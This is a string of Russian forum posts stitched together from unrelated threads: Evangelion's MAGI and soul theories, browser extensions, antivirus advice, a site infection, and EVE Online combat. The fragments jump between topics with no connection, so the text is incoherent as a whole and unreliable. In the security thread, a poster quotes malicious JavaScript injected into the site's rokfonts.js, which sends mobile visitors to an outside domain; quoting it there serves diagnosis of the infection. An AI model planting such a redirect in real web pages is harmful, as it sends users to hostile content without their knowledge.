Эйджил

Судя по первой цитате - происходит синхронизация пилота с "матрицей". Судя по второй - с самим Евангелионом. Это два взаимоисключающих заявления, причем первое еще и опровергается попытками завести 01 с куклой на борту. Гендо явно обращается к Юй, а не к некоей "матрице". Следовательно, синхронизация происходит с резидентной душой.

Bakemonogatari?

Однако я не вижу никакой необходимости в использовании оцифрованных личностей для этого. И заодно повторяю вопрос - если эта технология оцифровки личности работает так хорошо, что уже поставлена на поток (МАГИ, Евангелионы) - то откуда проблемы с псевдопилотом?

Нет, ты не понял. Я не думаю, что Рицко врала насчет аспектов Наоко в программировании. Это вполне возможно, об этом я писал выше. Я думаю, что она врала об оцифровке личности Наоко. Также я думаю, что матрицы личности в Евангелионах - тоже вранье, предназначенное скрыть факт нахождения в их Ядрах совершенно настоящих душ настоящих людей.

Однако попытки делаются. Я, к примеру, считаю, что Рицко врала Мисато, и что переноса личности Наоко не происходило. В конце концов, работы над псевдопилотом велись до последнего, и так и не были успешно завершены - что заставляет тебя думать, что аналогичное деяние было успешно провернуто годы назад? Никогда не слышал про нейтронную или водородную бомбу?) Вот что взрывчатое вещество помощнее нашлось - я вполне верю.

Отлично, берем за теорию, что внутри MAGI сидят Наоко Акаги и думают. Зачем, в таком случае, программизмы? Всяческие клавиатуры и инженерные коды, специальный файрволл из EoE? Каким образом Ируил смог "перепрограммировать" личность Наоко?

Откуда информация? Насколько я помню, Рицко всего один раз вскользь упоминает, что при проектировании MAGI использовались технологии, после усовершенствованные для создания Евангелионов. Я всегда считал, что это относится к клонированию биологического материала, т.е. мозга. Более того, той же Рицко утверждалось весьма непосредственно, что душу оцифровать невозможно.

Scrapped Princess?

Ровно то же самое, что я описал выше. Ошибки заложены в программе, компьютер ошибиться не может. Совершенно не имеет значения, что именно использовано как материальная база для вычислительной техники. Когда-то использовались лампы, потом транзисторы, сейчас вон с квантовыми машинами экспериментируют - почему бы не использовать чей-то клонированный мозг для создания нейронной вычислительной сети? Все алгоритмы вычислений все равно заложены в ПО, а не в приборе.

_________________ а я тогда кто o_O

Что я слышу? Исправный компьютер физически не может ошибиться в простейших логических операциях. Совсем, вообще никак. Вероятность ошибки произрастает из программного обеспечения и всегда означает ошибку программиста, писавшего оное.Объясняю! Базовые логические операции заключается в операциях логического сложения и умножения (они же операнды И и ИЛИ). Компьютер всегда даст верный ответ на вопросы "ложь или истина" и "ложь и истина" - "истина" в первом случае и "ложь" во втором. Чем сложнее программа, тем больше вероятность, что она написана неправильно, но даже самые сложные программы в процессе исполнения транслируются в серию базовых логических операций, в коих компьютер ошибаться не может по определению. MAGI представляет собой конгломерат из трех независимо оперирующих суперкомпьютеров с различными программными комплексами на борту. Мельхиор запрограммирован принимать решения, основываясь на научном подходе, Бальтазар - учитывая человеческую мораль и нравственную оценку ситуации, Каспар - используя нечеткую логику (соответственно, Наоко Акаги как ученый, как мать и как женщина). В результате каждая проблема оценивается с трех различных сторон. Однако, несмотря на различные стили принятия решений, вся разница заключается в различных комплексах программного обеспечения. Если имеется ошибка - значит, ошиблась Наоко Акаги или ее подчиненные техники. Компьютеру недоступно абстрактное мышление, он всегда действует четко по написанной программе, и не имеет возможности "ошибиться" в таком смысле, какое мы вкладываем в это понятие. Это я могу сложить два и два и получить пять, компьютер так никогда не сделает.

Image Collector - быстрое сохранение картинок Chromium Wheel Smooth Scroller - плавный скролл Целая куча аддонов по управлению хоткеями Надо только поискать. Расширений полно совершенно всяких.

ЕнЭ ЕоЕ РоЕ анимЭ мАнга фанфИк

На меня как-то раз (когда я был молодым и глупым, и сидел без антивируса) напал вирус win32.jeefo - он заражал экзешники, в том числе и самораспаковывающиеся архивы. Для борьбы с ними я использовал один антивирус Panda Internet Security. Все экзешники он вылечил, но распаковываться они перестали. Так я потерял весьма внушительную коллекцию арта, игрушек, фоток, и др. ценных вещей. Мало ли что еще может необратимо испортить вирус?

А зачем сидеть на машине, которая 100% падет жертвой вируса?

А вот, к примеру, стоял бы редирект на лицевой странице сайта не только для мобильных устройств? Редиректнулся бы ты на чужую страничку с вредоносным активным содержимым, и не спас бы тебя антивирус, потому что у тебя его нет.Или сходил бы ты к товарищу с флэшкой, принес сериал посмотреть и пару игр поиграться. И еще пачку вирусов, активировавшихся в момент вставки флэшки в твою систему. И не спас систему антивирус, потому что его нет. Все-таки, никто ведь не рассматривает принцип "не трогать ржавые гвозди" как альтернативу прививке от столбняка? Не зарекайся.

Ну вот смотри, админы ЕнЕ тоже так думали. А теперь уже которую неделю (месяц?) не могут понять, откуда где попало возникают редиректы.Все-таки большая часть мер безопасности имеет ценность ДО попытки взлома или заражения.

С мобильного редиректит, с настольного зашел - в том же скрипте та же закладка. У вас .js не кэшируется случаем? Может, я старый файл получаю?

Берем песочницу, запускаем браузер из нее, и не страдаем вообще ни по какому поводу. Но такая изоляционная политика чуть ли не геморройнее установки антивируса ^_^

На этот раз внедрение произошло в rokfonts.js: if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone)/i)!==null){ window.location = "http://goodpotok2.com/go.php?sid=1";} Это какой-то плагин? Взяли с червяком поди.

Microsoft Security Essentials установи же. Ставить антивирус по факту заражения поздно, он носит профилактический характер.

А теперь сравни сигнатуры танка и пушки дреда. Танк размером приближается к среднему фригу, пытался из Мороса стрелять по Кастрюле?)

Даже у направленного залпа ДД есть количественный и качественный показатели урона, и его может выдержать танкованный корабль. Почему бы прокачанному и утанкованному танку не выдержать выстрел из орудия того же Ревела? )

Как совершенно обычный орбитальный удар) Огненный дождь по локальной территории. А разве резист бывает 100%?